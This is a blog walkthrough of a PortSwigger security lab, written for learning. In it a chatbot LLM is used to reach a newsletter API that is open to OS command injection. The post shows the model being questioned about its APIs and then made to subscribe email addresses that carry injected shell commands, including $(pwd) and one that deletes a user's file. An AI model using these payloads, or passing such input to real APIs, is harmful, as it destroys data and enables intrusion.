Post

PortSwigger Walkthrough - Exploiting vulnerabilities in LLM APIs

Walkthrough of PortSwigger's 'Exploiting vulnerabilities in LLM APIs' lab.

PortSwigger Walkthrough - Exploiting vulnerabilities in LLM APIs

To browse all labs in this series, visit the full PortSwigger series.

All testing shown in this series is performed against PortSwigger Academy’s intentionally vulnerable labs.
Do not apply these techniques to systems you do not own or have explicit written permission to test.

What’s this?

LLMs are often wired up to internal APIs to make them useful. The problem is that those APIs don’t always sanitize their inputs properly, and the LLM becomes a neat little proxy for attacking them. In this lab, the model has access to a newsletter subscription API that passes user input directly to a shell command. Classic OS command injection, just reached through a chatbot instead of a form field.

Objective

Delete the morale.txt file from Carlos’ home directory.

PortSwigger’s lab link

LLMs are non-deterministic. The same prompt can produce different outputs on different runs. If something doesn’t land on the first try, rephrase it slightly and try again.

Walkthrough

Open the live chat and ask which APIs the LLM has access to. You’ll get three: password reset, newsletter subscription, and product info. The newsletter subscription one is interesting because it takes an email address and presumably passes it somewhere server-side.

Ask the LLM how the newsletter API works. It only needs a valid email and will return a success message. Ask for the exact request body it sends and you get:

1
2
3
{
  "email": "example@example.com"
}

Now start probing. First, confirm the email server accepts wildcards by subscribing your attacker address (attacker@your-instance.exploit-server.net). You get a confirmation email, so the server is receiving and processing whatever address you give it.

Next, test command injection by subscribing $(pwd)@your-instance.exploit-server.net. Check your email server and you’ll get a message from /home/carlos@your-instance.exploit-server.net. The command ran and its output landed in the email address field. Command injection confirmed.

Now just run the command that matters:

1
$(rm /home/carlos/morale.txt)@your-instance.exploit-server.net

Ask the LLM to subscribe that address. The file gets deleted, lab solved.

Lab solved confirmation

The LLM itself isn’t the vulnerability here: it’s just faithfully calling an API that passes its input unsanitized to a shell. The model is just a new interface to an old class of bug.



Wanna talk? Contact me here!

This post is licensed under CC BY 4.0 by the author.